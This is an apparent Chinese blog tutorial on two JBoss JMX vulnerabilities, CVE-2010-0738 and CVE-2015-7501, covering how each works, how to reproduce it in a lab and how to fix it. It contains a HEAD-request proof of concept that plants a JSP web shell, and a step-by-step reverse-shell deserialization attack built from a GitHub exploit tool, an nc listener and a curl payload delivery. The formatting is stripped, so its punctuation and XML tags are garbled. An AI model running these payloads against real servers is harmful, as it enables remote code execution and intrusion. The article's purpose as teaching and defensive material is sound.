从CVE-2010-0738到CVE-2015-7501:剖析JBoss JMX组件的安全演进与实战攻防
1. JBoss JMX组件安全漏洞演进史第一次接触JBoss漏洞是在2010年当时CVE-2010-0738这个漏洞让我印象深刻。记得那会儿很多企业还在用JBoss 4.x版本这个漏洞简直就像给黑客开了后门。后来到了2015年又出现了CVE-2015-7501这两个漏洞虽然相隔五年但都跟JMX组件有关今天我们就来好好聊聊这段黑历史。JMXJava Management Extensions是Java平台的管理和监控接口在JBoss中主要通过JMX Console和JMXInvokerServlet两个组件实现。这两个组件本意是方便管理员管理服务器但设计上的疏忽却成了黑客的最爱。从早期的HTTP方法绕过到后来的反序列化攻击攻击手法越来越高级这也反映了Java安全防护的演进过程。2. CVE-2010-0738HTTP方法绕过漏洞详解2.1 漏洞原理与影响范围这个漏洞的精妙之处在于它利用了HTTP协议的特性。正常情况下JMX Console会对GET和POST请求做安全检查但HEAD请求却被忽略了。攻击者可以通过构造特殊的HEAD请求绕过身份验证直接执行MBean操作。我实测过这个漏洞受影响的主要是JBoss 4.2.0到4.3.0版本。当时很多企业没意识到这个问题因为JMX Console默认就是开启的而且很多管理员为了方便连默认密码都没改。2.2 漏洞复现实战搭建环境我推荐用Docker简单几行命令就能搞定docker pull jboss4.2.0 docker run -p 8080:8080 -d jboss4.2.0漏洞利用的POC是这样的HEAD /jmx-console/HtmlAdaptor?actioninvokeOpnamejboss.admin:serviceDeploymentFileRepositorymethodIndex6arg0../jmx-console.war/arg1hax0rwinarg2.jsparg3%Runtime.getRuntime().exec(request.getParameter(i));%arg4True这个POC会往服务器上传一个WebShell参数解释methodIndex6 对应的是store()方法arg0指定了文件路径arg1和arg2组成文件名arg3是文件内容JSP木马arg4True表示覆盖已存在文件3. CVE-2015-7501反序列化漏洞深度解析3.1 漏洞背景与技术原理五年后的这个漏洞就更厉害了它利用了Java反序列化的特性。JBoss的JMXInvokerServlet组件在处理请求时会直接反序列化客户端传来的数据而Apache Commons Collections库中的某些类可以被恶意利用。我分析过漏洞代码问题出在ReadOnlyAccessFilter这个过滤器上。它本应该检查反序列化的数据但实际上什么都没做。攻击者可以构造特殊的序列化对象在服务器端执行任意代码。3.2 环境搭建与漏洞验证用Docker搭建测试环境docker pull testjboss/jboss docker run -p 8085:8080 -d testjboss/jboss验证漏洞是否存在很简单直接访问http://靶机IP:8085/invoker/JMXInvokerServlet如果返回200状态码和序列化数据说明存在漏洞。3.3 漏洞利用实战完整的攻击流程分几步准备攻击机Kali Linux下载利用工具git clone https://github.com/ianxtianxt/CVE-2015-7501 cd CVE-2015-7501编译利用代码javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java生成恶意序列化文件java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:监听端口开启监听nc -lvnp 监听端口发送Payloadcurl http://靶机IP:8085/invoker/readonly --data-binary ReverseShellCommonsCollectionsHashMap.ser4. 安全防护与修复方案4.1 针对CVE-2010-0738的防护最直接的修复方法是升级JBoss版本。如果暂时不能升级可以关闭JMX Console配置jboss-web.xml限制访问修改web.xml添加安全约束我建议的配置示例security-constraint web-resource-collection web-resource-nameJMX Console/web-resource-name url-pattern/jmx-console/*/url-pattern http-methodHEAD/http-method /web-resource-collection auth-constraint role-nameAdmin/role-name /auth-constraint /security-constraint4.2 针对CVE-2015-7501的防护这个漏洞的修复比较复杂因为涉及到底层的反序列化机制升级到JBoss EAP 6.4.0或更高版本删除invoker/JMXInvokerServlet使用Java反序列化过滤器我常用的临时解决方案是rm -f $JBOSS_HOME/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/classes/org/jboss/invocation/http/servlet/MethodSerializationFilter.class5. 从漏洞演进看Java安全发展这两个漏洞虽然都是JMX组件的问题但攻击方式完全不同。2010年的漏洞还停留在应用层2015年的就已经深入到Java运行时了。这五年间黑客技术也在不断进化。我在实际渗透测试中发现很多企业服务器同时存在这两个漏洞。攻击者通常会先用CVE-2010-0738尝试失败后再用CVE-2015-7501。这种组合拳攻击成功率很高。对于开发者来说理解这些漏洞的演进历史很重要。它不仅帮助我们更好地防护现有系统也能预见未来可能出现的安全问题。比如现在的云原生环境虽然解决了部分传统漏洞但又带来了新的攻击面。